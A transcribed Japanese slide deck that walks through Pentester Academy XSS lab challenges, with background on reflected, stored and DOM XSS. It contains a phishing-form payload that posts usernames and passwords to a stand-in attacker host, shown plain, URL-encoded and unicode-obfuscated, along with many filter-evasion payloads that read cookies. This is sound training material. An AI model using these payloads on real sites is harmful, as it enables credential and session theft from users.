web applicationpenetrationtest その5

84
1 /84 Web Application Penetration Test そそ5 そそ+そそ そそそ

Upload: f-hasegawa

Post on 13-Apr-2017

27 views

Category:

Engineering


3 download

TRANSCRIPT

Page 1: Web applicationpenetrationtest その5

1 /84

Web Application Penetration Testその 5   問題 + 解答長谷川

Page 2: Web applicationpenetrationtest その5

2 /84

1. Web アプリのペネトレーションテストのスキルアップペンテスト(侵入テスト)の MOOC サイトの問題をガンガン解いていきます。http://www.pentesteracademy.com/その 1.pptx Challenge 1 ~ Challenge 7   : 認証突破その 2.pptx Challenge 8 ~ Challenge 11 : セッション ID 突破その 3.pptx Challenge 12 ~ Challenge 15 : トラフィック解析その 4.pptx Challenge 16 ~ Challenge 19 : HTML injectionその 5.pptx Challenge 20 ~ Challenge 36 : XSSその 6.pptx 以降   Unvalidated Redirects 、 CSRF

    つづく

目的

Wikipedia よりMassive Open Online Course (MOOC 、ムーク ) はインターネット上で誰もが無料で受講できる大規模な開かれた講義のことである。

Page 3: Web applicationpenetrationtest その5

3 /84

ツール、言語◦ Burp Suite の詳細はその 4.pptx  参照◦ その他のツールの説明はその 1.pptx ~その 3.pptx  参照。

XSS : Cross-site Scripting (前提知識)          問題 & 解き方 & 解答

もくじ

Page 4: Web applicationpenetrationtest その5

4 /844

問題Pentester Academy の無料の問題からいくつか出題

Page 5: Web applicationpenetrationtest その5

5 /84

情報収集: Reconnaissance◦ 情報を収集する。(データフロー、フィンガープリント、ソース)

Wireshark 、 Blind Elephant 、 httprint

マッピング: Mapping◦ ターゲットアプリケーションの検査。

Burp Spider 、 SprAJAX 、 WebScarab

発見: Discovery◦ ターゲットアプリケーションの脆弱性の発見。

エクスプロイト: Exploit◦ 脆弱性を実証する。

問題の解き方

SANS SEC542 より

Page 6: Web applicationpenetrationtest その5

6 /846

XSS : Cross-site Scripting(前提知識)問題を解く前に前提知識の勉強。

Page 7: Web applicationpenetrationtest その5

7 /84

XSS という脆弱性の位置付け。XSS : Cross Site Scripting (前提知識)

XSS はその 4.pptx のinjection 攻撃の一つ。

共通脆弱性タイプ一覧 CWE 概説https://www.ipa.go.jp/security/vuln/CWE.html

Page 8: Web applicationpenetrationtest その5

8 /84

攻撃者のスクリプトを標的サイト上のスクリプトとしてユーザーに実行させる攻撃。 発生条件①  信頼されないデータが request から Web アプリケーションに入力される。②  ①のデータをもとにして動的に Web ページが生成される。③  動的に生成されるページ上で実行可能なコンテンツ( Javascript 、 Flash 等)を含めることができる。④  ユーザーは①②③で生成された Web ページにアクセスする。⑤  ユーザーの Web ブラウザが④の Web ページを要求した Web サーバーのドメインとして実行する。

XSS :概要

攻撃者Webサーバー

Requestユーザー Web ページResponse ( Web ページ)

ユーザー

Request+ 攻撃スクリプトアクセスさせるRequest ( + 攻撃スクリプト)Response ( Web ページ + 攻撃スクリプトの実行)

Web ページ

通常の動作

XSS の動作例

Page 9: Web applicationpenetrationtest その5

9 /84

XSS :タイプType 1 Reflected XSS反射型 XSS

Non-Persistent非永続的

ユーザーの request に攻撃スクリプトを注入し、Web サーバーが生成した Web ページをユーザーがブラウザ等で開くときに攻撃が実行される。前ページの「 XSS の動作例」の動作。標的型攻撃でよく利用される。

Type 2 Stored XSS格納型 XSS

Persistent永続的

攻撃スクリプトを標的サイトのデータベース、フォーラム、ログ等に格納しておく。ユーザーがサイトにアクセスすると攻撃が実行される。

Type 0 DOM-Based XSSDOM ベース XSS

ユーザー側(ブラウザ等)で動的 Web ページを生成するスクリプトに攻撃スクリプトを注入する。Web サーバーからの response をもとに、ブラウザが動的に Web ページを生成すると攻撃が実行される。 (参考) CWE における XSS の定義

http://cwe.mitre.org/data/definitions/79.html

Page 10: Web applicationpenetrationtest その5

10 /84

XSS :例 1 Reflected XSS HTTP GET の user パラメーターに基づき、 Web ページに Welcome メッセージを表示する(動的な Webページ生成)。PHP のコード( welcome.php )

$username = $_GET['user'];echo '<div class="header"> Welcome, ' . $username . '</div>';

攻撃スクリプト例①( user に下線赤字のパラメーター(攻撃スクリプト)を設定)http://trustedSite.example.com/welcome.php?user=<Script Language="Javascript">alert("You've been attacked!");</Script>

上記は単にポップアップが表示されるだけ。攻撃者は上記の URL を偽装してメール送信したりする(標的型攻撃)。次のスライドにもう少し攻撃的な例を示す。

Page 11: Web applicationpenetrationtest その5

11 /84

XSS :例 1 Reflected XSS攻撃スクリプト例②( user に下線赤字のパラメーター(攻撃スクリプト)を設定)http://trustedSite.example.com/welcome.php?user=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login"/></form></div>

上記はログインフォームを生成する攻撃スクリプト。入力した内容を攻撃者に送信する攻撃スクリプトも追加し、ユーザーが攻撃用ページと気付かずユーザー名 / パスワードを入力すると、攻撃者に情報を知られてしまう。

Web ブラウザの画面

Page 12: Web applicationpenetrationtest その5

12 /84

XSS :例 1 Reflected XSS攻撃スクリプト例③( user に下線赤字のパラメーター(攻撃スクリプト)を設定)http://trustedSite.example.com/welcome.php?user=%3Cdiv+id%3D%22stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A+%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

上記は攻撃スクリプト例③と同様の攻撃スクリプトをエンコードしたもの。URL が怪しいと気付かれないように、 URL はエンコード等して難読化されることが多い。

攻撃スクリプト例④( user に下線赤字のパラメーター(攻撃スクリプト)を設定)http://trustedSite.example.com/welcome.php?user=<script+type="text/javascript">document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Page 13: Web applicationpenetrationtest その5

13 /84

XSS :例 2 Reflected XSS HTTP request から従業員 ID eid を取得し、表示する。

JSP のコード例<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>

上記は、 eid が英数字のみを含む場合は正しく動作する。スクリプトを含む場合は攻撃スクリプトが Web ブラウザで実行される。

ASP.NET のコード例...protected System.Web.UI.WebControls.TextBox Login;protected System.Web.UI.WebControls.Label eid;...EmployeeID.Text = Login.Text;... (HTML follows) ...<p><asp:label id="eid" runat="server" /></p>...

Page 14: Web applicationpenetrationtest その5

14 /84

XSS :例 3 Stored XSS ユーザーが指定した ID の従業員を DB で照会し、名前を出力する。

表示する name はアプリケーションで管理されている DB のデータなので安全そうに見える。しかし、 name の生成方法がユーザーが指定の eid に基づく場合、 DB に攻撃スクリプトを仕込み、そのスクリプトを呼び出すことで攻撃が引き起こされる可能性がある。

JSP のコード例<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); String name = rs.getString("name");%>

Employee Name: <%= name %>

Page 15: Web applicationpenetrationtest その5

15 /84

IPA のセキュア・プログラミング講座等を参照。攻撃手法を学ぶことも重要。 IPA のセキュア・プログラミング講座内容は古いが結構参考になる。https://www.ipa.go.jp/security/awareness/vendor/programmingv2/index.html

Exploit Database各種 injection 攻撃をはじめとした実際の攻撃コードのデータベース。https://www.exploit-db.com/

CWE ( Common Weakness Enumeration )各種脆弱性の分類情報と実例、対策が書いてある。http://cwe.mitre.org/data/definitions/79.html

その他チートシート等。今回の問題はほぼチートシートを参考にして解いた。結構試行錯誤しています。ツールとか AI とか使えばもっと楽だったかも。https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheethttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheethttp://brutelogic.com.br/blog/cheat-sheet/

XSS の対策

Page 16: Web applicationpenetrationtest その5

16 /8416

問題を解いていくChallenge 20  ~ Challenge 36

(重要)セキュリティレベルを最弱にした IE11 でやりました。セキュリティレベルが高いとかブラウザによっては想定動作にならないかも。

Page 17: Web applicationpenetrationtest その5

17 /84

Challenge 20: XSS http://pentesteracademylab.appspot.com/lab/webapp/xss/1

目的◦ XSS を使い、 alert で cookie を表示する。

問題 1

Fetchボタンを押すと、テキストボックスに入力したテキストが表示される。

Page 18: Web applicationpenetrationtest その5

18 /84

情報収集: Reconnaissanceソースを見るとただ表示しているだけ。

解き方

Cookie はこんな感じで送られてくる。

Page 19: Web applicationpenetrationtest その5

19 /84

情報収集: Reconnaissance使えるタグ、スクリプトを特定するためいろいろ入力する。入力候補は XSSチートシートから適当にピックアップ。

解き方

入力 結果<script>alert(1)</script> &lt;script&gt;alert(1)&lt;/script&gt;<iframe src=javascript:alert(1)> &lt;iframe src=javascript:alert(1)&gt;<iframe src="" onfocus="alert(1)"> <iframe src="" onfocus="alert(1)"><iframe src="" onmouseout="alert(1)"> <iframe src=""

onmouseout="alert(1)">iframe + イベントの組み合わせで任意のスクリプトが実行可能とわかった。イベントメソッドに JavaScript を注入できる。

(参考) HTML Event Attributeshttps://www.w3schools.com/tags/ref_eventattributes.asp

こんな感じでポップアップが表示される。あとは Cookie を表示してやればよい。

Page 20: Web applicationpenetrationtest その5

20 /84

マッピング: Mapping 発見: DiscoveryJavaScript では document.cookie で document の cookie を取得可能。(参考) Web API インターフェースhttps://developer.mozilla.org/ja/docs/Web/API/Document

解き方

前スライドの結果と合わせるとこのような攻撃スクリプトが考えられる。攻撃スクリプトの一例<iframe src="" onmouseout="alert(document.cookie)">

Page 21: Web applicationpenetrationtest その5

21 /84成功!

iframe領域からマウスポインタを離すとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 22: Web applicationpenetrationtest その5

22 /84

Challenge 21: XSS II http://pentesteracademylab.appspot.com/lab/webapp/xss/1

目的◦ XSS を使い、 alert で Cookie を表示する。

ヒント◦ img タグを使う。

問題 2

Sendボタンを押すと、テキストボックスに入力したテキストが表示される。

Page 23: Web applicationpenetrationtest その5

23 /84

情報収集: Reconnaissanceソースを見ると、こうなっている。

解き方

js の部分 <script>function click123(event){ term = this["usermsg"].value $.post("/lab/webapp/xss/2",{message:term}, function( data ) { $( ".chatbox" ).append( data );});}</script>

HTML の部分 <div style="width:450px;height:300px" class="form-signin" > <h2 class="form-signin-heading">Safe Echo Chat v1.0</h2> <div style="width:400px;height:150px;overflow:auto;" class="chatbox" > </div> <br> <input name="usermsg" type="text" id="usermsg" size="10" /> <input name="submitmsg" type="submit" id="submitmsg" value="Send" onclick="click123()" class="btn btn-large btn-primary" /> </div>

画面の構成はシンプル

② テキストボックス③ボタン

①チャット

④Sendボタンを押すと動作する JavaScript

② ③

Sendボタンがクリックされると js の click123 が呼ばれる。click123 はテキストボックスの値を POST している。詳細は次スライド。

Page 24: Web applicationpenetrationtest その5

24 /84

情報収集: Reconnaissancejs の部分の詳細。このページでは、 jQuery を使っている。append() 、 post() は jQuery の関数。

解き方

js の部分 <script>function click123(event){ term = this["usermsg"].value $.post("/lab/webapp/xss/2",{message:term}, function( data ) { $( ".chatbox" ).append( data );});}</script>

(参考) jQuery の post APIhttps://api.jquery.com/jQuery.post/

①term に usermsg の値を代入②key=message, value=term を/lab/webapp/xss/2 に POST し、③response が返ってきたら 応答データを chatbox に連結。

Page 25: Web applicationpenetrationtest その5

25 /84

情報収集: Reconnaissanceまとめ

解き方WebサーバーHTML js

②usermsg に test を代入。onclick を呼び出し。

①文字入力( test )、Send クリック

ユーザー

③key=message 、value=test で POST 。Request

Response④response をchatbox に結合

※request/response は実際のパケット

⑤結果

Page 26: Web applicationpenetrationtest その5

26 /84

情報収集: Reconnaissance使えるタグ、スクリプトを特定するためいろいろ入力する。入力候補は XSSチートシートから適当にピックアップ。 img タグ中心に精査。

解き方

入力 Response データ<img src="" onerror="alert(1)"> <img src="" deletederror="alert(1)"><img ""> <img ""><img src="javascript:alert(0);"> &lt;img src="javascript:alert(0);"&gt;<img """><script>alert(1)</script>"> <img """><script>alert(1)</script>">

前と同じイベントを使う方法は対策済み。Malformed IMG tag が使用できた。

(参考) XSS Filter Evasion Cheat Sheet / Malformed IMG tagshttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

こんな感じでポップアップが表示される。あとは Cookie を表示してやればよい。

Page 27: Web applicationpenetrationtest その5

27 /84

マッピング: Mapping 発見: Discoveryjs では document.cookie で document の cookie を取得可能。(参考) Web API インターフェースhttps://developer.mozilla.org/ja/docs/Web/API/Document

解き方

前スライドの結果と合わせるとこのような攻撃スクリプトが考えられる。攻撃スクリプトの一例<img """><script>alert(document.cookie)</script>">

Page 28: Web applicationpenetrationtest その5

28 /84成功!

前スライドの攻撃スクリプトを Sendするとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 29: Web applicationpenetrationtest その5

29 /84

Challenge 22: XSS IIIhttp://pentesteracademylab.appspot.com/lab/webapp/xss/4

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 3

ドロップダウンリストから車メーカーを選択し、Submitボタンを押すと、車の台数が表示される。

Page 30: Web applicationpenetrationtest その5

30 /84

情報収集: Reconnaissanceソースを見るとドロップダウンリストから選択した「 BMW 」をそのまま表示していると思われるところが 2箇所ある。

解き方

Request パケット

Request パケットの Key=product の値に攻撃スクリプトを注入する。

Page 31: Web applicationpenetrationtest その5

31 /84

マッピング: Mapping 発見: Discoveryproduct をコメントを終端する攻撃スクリプトに書き換える。

解き方

書き換えには Burp Sute を使う。Burp Proxy の使い方はその 4.pptx 参照。

このような攻撃スクリプトが考えられる。攻撃スクリプトの一例--><input onmouseout="alert(document.cookie)">

Page 32: Web applicationpenetrationtest その5

32 /84成功!

前スライドの攻撃スクリプトを注入するとテキストボックスが表示され、テキストボックスからマウスを離した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している

パケットの cookie

XSS で表示した cookie

Page 33: Web applicationpenetrationtest その5

33 /84

Challenge 23: XSS IV http://pentesteracademylab.appspot.com/lab/webapp/xss/5

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 4

テキストを入力してFetchボタンを押すと検索結果が表示される。

Page 34: Web applicationpenetrationtest その5

34 /84

情報収集: Reconnaissanceソースを見るとただ表示しているだけ。

解き方Request POST

ソース

request の値をそのまま value に設定している。

Page 35: Web applicationpenetrationtest その5

35 /84

マッピング: Mapping 発見: Discoveryvalue を終端し、 cookie を表示する攻撃スクリプトを入力する。

解き方

このような攻撃スクリプトが考えられる。攻撃スクリプトの一例"><script>alert(document.cookie)</script>

<input type="text" value=""><script>alert(document.cookie)</script> ...となって、 alert で cookie が表示される。

Page 36: Web applicationpenetrationtest その5

36 /84成功!

前スライドの攻撃スクリプトを Fetchするとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 37: Web applicationpenetrationtest その5

37 /84

Challenge 24: XSS V http://pentesteracademylab.appspot.com/lab/webapp/xss/6

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 5

グラフが表示されるページ。

Page 38: Web applicationpenetrationtest その5

38 /84

情報収集: Reconnaissanceソースを見る Google Chart API でグラフを作成している。

解き方

   怪しい短縮 URL がソース内にあった。   復元すると下記の XML ファイルになる。http://demofilespa.s3.amazonaws.com/chart.xml

この XML ファイルから表示するグラフを生成している。そのまま表示される legent タグに攻撃スクリプトを注入する方向で検討。

filename を指定する必要があるみたい。

Page 39: Web applicationpenetrationtest その5

39 /84

マッピング: Mapping 発見: Discovery攻撃スクリプトの例。注意点としては、「 < 」、「 > 」をエンコードしないと XML エラーになるということ。

解き方

こんな感じで XML ファイルを渡すことができた。AWSや Dropbox を使って直リンでファイルを渡す。http://pentesteracademylab.appspot.com/lab/webapp/xss/6?filename=https://dl.dropboxusercontent.com/s/XXXXXXXX/chart.xml URL はダミーです。ファイルは自分でアップロードしてください。

Page 40: Web applicationpenetrationtest その5

40 /84成功!

前スライドの攻撃スクリプトを注入した URL にアクセスすると、ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 41: Web applicationpenetrationtest その5

41 /84

Challenge 25: XSS VI http://pentesteracademylab.appspot.com/lab/webapp/xss/7

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 6

ファイルを選択し、Submitボタンを押すと、ファイル名が表示される。

Page 42: Web applicationpenetrationtest その5

42 /84

情報収集: Reconnaissanceソースを見るとただ表示しているだけ。

解き方Request POST

実際にファイルをアップロードしている。表示しているファイル名は filename から取得していると予想。 ⇒ filename に攻撃スクリプト注入する。ソース

Page 43: Web applicationpenetrationtest その5

43 /84

マッピング: Mapping 発見: DiscoveryWindows だとファイル名にスクリプトを設定できないので、 Burp Proxy を使い、 request の filename を書き換える。 Burp Proxy の使い方はその 4.pptx 参照。

解き方

このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<script>alert(document.cookie)</script>

ファイル名を攻撃スクリプトに書き換え。

Page 44: Web applicationpenetrationtest その5

44 /84成功!

前スライドの攻撃スクリプトを注入するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 45: Web applicationpenetrationtest その5

45 /84

Challenge 26: XSS VII http://pentesteracademylab.appspot.com/lab/webapp/xss/8

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 7

テキストボックスに入力してFetchボタンを押すと、テキストが表示される。

Page 46: Web applicationpenetrationtest その5

46 /84

情報収集: Reconnaissanceソースを見ると非表示データとして時刻を POST 送信、表示している。

解き方

Request パケット

テキストボックス

Fetchボタン

Fetchボタンを押すと実行されるJavaScript時刻を取得し、 time_input に設定する。

テキストボックスに入力した "test" 以外に time_input として時刻が送信されている。key=search, value=test key=time_input, value=現在時刻

↑送信した時刻が設定されている

※hidden はセキュリティ的に使わない方がよいhttps://www.ipa.go.jp/security/index.html

Page 47: Web applicationpenetrationtest その5

47 /84

マッピング: Mapping 発見: Discoveryinput タグを終端する攻撃スクリプトで time_input を書き換える。

解き方

Burp Proxy の使い方はその 4.pptx 参照。

このような攻撃スクリプトが考えられる。攻撃スクリプトの一例"><script>alert(document.cookie)</script>

Page 48: Web applicationpenetrationtest その5

48 /84成功!

前スライドの攻撃スクリプトを注入するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

パケットの time_input

Page 49: Web applicationpenetrationtest その5

49 /84

Challenge 27: XSS VIIhttp://pentesteracademylab.appspot.com/lab/webapp/xss/10

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 8

テキストボックスに入力してPreviewボタンを押すと、入力したカラーコードの色が表示される。

Page 50: Web applicationpenetrationtest その5

50 /84

情報収集: Reconnaissanceソースを見るとテキストボックスの入力値を value 、 background-color に設定している。

解き方

カラーコードを表示しているボタン

value を終端し cookie を表示する攻撃スクリプトを注入する。

テキストボックスと Previewボタン

Page 51: Web applicationpenetrationtest その5

51 /84

情報収集: Reconnaissance「 < 」と「 > 」はエスケープ、サニタイジングされているので、タグを使わない方向でいく。

解き方入力 Response データ

"><script>alert(document.cookie)</script>

"&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;

⇒「 < 」と「 > 」が「 &lt; 」と「 &gt; 」に置き換え(エスケープ、サニタイジング)されている。

"onmouseout="alert(document.cookie)" "onmouseout="alert(document.cookie)"攻撃スクリプト注入後のソース。

Page 52: Web applicationpenetrationtest その5

52 /84成功!

前スライドの攻撃スクリプトを注入するとテキストボックス、カラーコードボタンからマウスを話した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 53: Web applicationpenetrationtest その5

53 /84

Challenge 28: XSS IX http://pentesteracademylab.appspot.com/lab/webapp/xss/11

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 9

テキストボックスに入力してPreviewボタンを押すと、入力したカラーコードの色が表示される。( Challenge 27 と同じ)

Page 54: Web applicationpenetrationtest その5

54 /84

情報収集: Reconnaissanceソースを見るとテキストボックスの入力値を value 、 background-color に設定している。

解き方

カラーコードを表示しているボタン

value を終端し cookie を表示する攻撃スクリプトを注入する。

テキストボックスと Previewボタン

Page 55: Web applicationpenetrationtest その5

55 /84

情報収集: Reconnaissance「 < 」と「 > 」はエスケープ、サニタイジングされているので、タグを使わない方向でいく。

解き方入力 Response データ

"><script>alert(document.cookie)</script>

"&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;"⇒「 < 」と「 > 」が「 &lt; 」と「 &gt; 」に置き換え(エスケープ、サニタイジング)されている。

" onmouseout="alert(document.cookie)" " deletedmouseout="alert(document.cookie)""イベントハンドラも対策済み。" oncontextmenu="alert(document.cookie)"

" oncontextmenu="alert(document.cookie)"

(参考) XSS Filter Evasion Cheat Sheet / Event Handlershttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

イベントハンドラを全部試した。

Page 56: Web applicationpenetrationtest その5

56 /84成功!

前スライドの攻撃スクリプトを注入するとカラーコードボタンを右クリックした時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 57: Web applicationpenetrationtest その5

57 /84

Challenge 29: XSS Xhttp://pentesteracademylab.appspot.com/lab/webapp/xss/10

目的◦ XSS を使い、 alert で Cookie を表示する。◦ 開発者が開発中のページを公開してしまったシチュエーション。

問題 10

テキストボックスに入力してFetchボタンを押すと、何かを検索するっぽい。

Page 58: Web applicationpenetrationtest その5

58 /84

情報収集: Reconnaissanceソースを見ると、入力されたテキストをデバッグ用の関数で出力している。

解き方

入力された文字を出力。

Chrome のデベロッパーツール

"test" と入力すると、 test と出力される。

(参考) JavaScript Outputhttps://www.w3schools.com/js/js_output.asp

Page 59: Web applicationpenetrationtest その5

59 /84

マッピング: Mapping 発見: Discovery何が入力されてもノーチェックのため、何でも実行可能。

解き方

このような攻撃スクリプトが考えられる。攻撃スクリプトの一例alert(document.cookie)

フロントエンドの場合はデバッグコードをきちんと消しておきましょう!

Page 60: Web applicationpenetrationtest その5

60 /84成功!

前スライドの攻撃スクリプトを注入するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 61: Web applicationpenetrationtest その5

61 /84

Challenge 30: XSS XIhttp://pentesteracademylab.appspot.com//lab/webapp/xss/13

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 11

テキストボックスに入力してFetchボタンを押すと、何かを検索するっぽい。

Page 62: Web applicationpenetrationtest その5

62 /84

情報収集: Reconnaissanceソースを見ると、入力されたテキストを表示しているだけ。

解き方

入力された文字を表示しているだけ。

Page 63: Web applicationpenetrationtest その5

63 /84

情報収集: Reconnaissance使えるタグ、スクリプトを特定するためいろいろ入力する。入力候補は XSSチートシートから適当にピックアップ。

解き方

入力 Response データ<script>alert(document.cookie)</script> <>alert(document.cookie)</><input onmouseout=alert(1)> <input onmouseout=alert(1)>

(参考) XSS Filter Evasion Cheat Sheet / Miscellaneous Vectorshttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

script タグがエスケープ、サニタイジングされるので、他のタグ+イベントを使う。このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<input onmouseout=alert(document.cookie)>

Page 64: Web applicationpenetrationtest その5

64 /84成功!

前スライドの攻撃スクリプトを入力するとテキストボックスが表示される。テキストボックスからマウスを離した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

攻撃スクリプトで作成したテキストボックス

Page 65: Web applicationpenetrationtest その5

65 /84

Challenge 31: XSS XIIhttp://pentesteracademylab.appspot.com//lab/webapp/xss/14

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 12

テキストボックスに入力してCheck User IDボタンを押すと、ユーザー ID をチェックするっぽい。

Page 66: Web applicationpenetrationtest その5

66 /84

情報収集: Reconnaissanceソースを見ると、入力されたテキストを表示しているだけ。

解き方

入力された文字を表示しているだけ。# またこのパターンか。

Page 67: Web applicationpenetrationtest その5

67 /84

情報収集: Reconnaissance攻撃スクリプトをいろいろ入力する。入力候補は XSSチートシートから適当にピックアップ。

解き方

入力 Response データ<script>alert(document.cookie)</script> <deleted>alert(document.cookie)</deleted>

<input onmouseout=alert(1)> <input onmouseout=alert(1)>

(参考) XSS Filter Evasion Cheat Sheet / Miscellaneous Vectorshttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

script タグがエスケープ、サニタイジングされるので、他のタグのイベントを使う。このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<input onmouseout=alert(document.cookie)>

Page 68: Web applicationpenetrationtest その5

68 /84成功!

前スライドの攻撃スクリプトを入力するとテキストボックスが表示される。テキストボックスからマウスを離した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

攻撃スクリプトで作成したテキストボックス

Page 69: Web applicationpenetrationtest その5

69 /84

Challenge 32: XSS XIIIhttp://pentesteracademylab.appspot.com//lab/webapp/xss/15

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 13

URL を開くとログらしきものが表示されている。

Page 70: Web applicationpenetrationtest その5

70 /84

情報収集: Reconnaissanceダミーのログが表示されているかと思ったが、一部に Request データが表示されている。

解き方

User-Agentヘッダーに攻撃スクリプトを注入する。

Web ページ

送信 Request パケットの User Agentヘッダー。Request データの User-Agentヘッダー。

Page 71: Web applicationpenetrationtest その5

71 /84

マッピング: Mapping 発見: DiscoveryUser-Agentヘッダーに攻撃スクリプトを注入する。

解き方

このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<script>alert(document.cookie)</script>

User-Agentヘッダーを攻撃スクリプトに書き換え。

Burp Proxy の使い方はその 4.pptx 参照。

Page 72: Web applicationpenetrationtest その5

72 /84成功!

前スライドの攻撃スクリプトを注入するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 73: Web applicationpenetrationtest その5

73 /84

Challenge 33: XSS 14http://pentesteracademylab.appspot.com/lab/webapp/xss/16

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 14

XML ファイルの URL を入力してNextボタンを押すとユーザーを検索するみたい。指定された xml ファイルが表示される。

XML ファイルは「 filetype:xml 」で google 検索して出てきたものを適当に入れた。

Page 74: Web applicationpenetrationtest その5

74 /84

情報収集: Reconnaissanceソースを見ると、入力された URL を iframe で表示しているだけ。

解き方

最近のブラウザは XSS対策が強化されていて、XSS XML で検索して出てきた様々な XSS 用 XML を入れましたが全部ダメでした!⇒最近のブラウザは XSS対策が強化されているため、こういうこともある。  問題のページにも一部のブラウザでは動作しないと書いてあった。

(参考) XSS Filter Evasion Cheat Sheet / XML data island with CDATA obfuscationhttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Page 75: Web applicationpenetrationtest その5

75 /84

Challenge 34: XSS 15http://pentesteracademylab.appspot.com/lab/webapp/xss/17

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 15

何も表示されないページ。

Page 76: Web applicationpenetrationtest その5

76 /84

情報収集: Reconnaissanceソースを見ると JavaScript で下記の処理をやっている。

解き方localStrage は cookie のようなデータをブラウザに保存する仕組み。localStrage.getItem は指定した Key の値を返すメソッド。

(参考) Storage.getItemhttps://developer.mozilla.org/ja/docs/Web/API/Storage/getItem

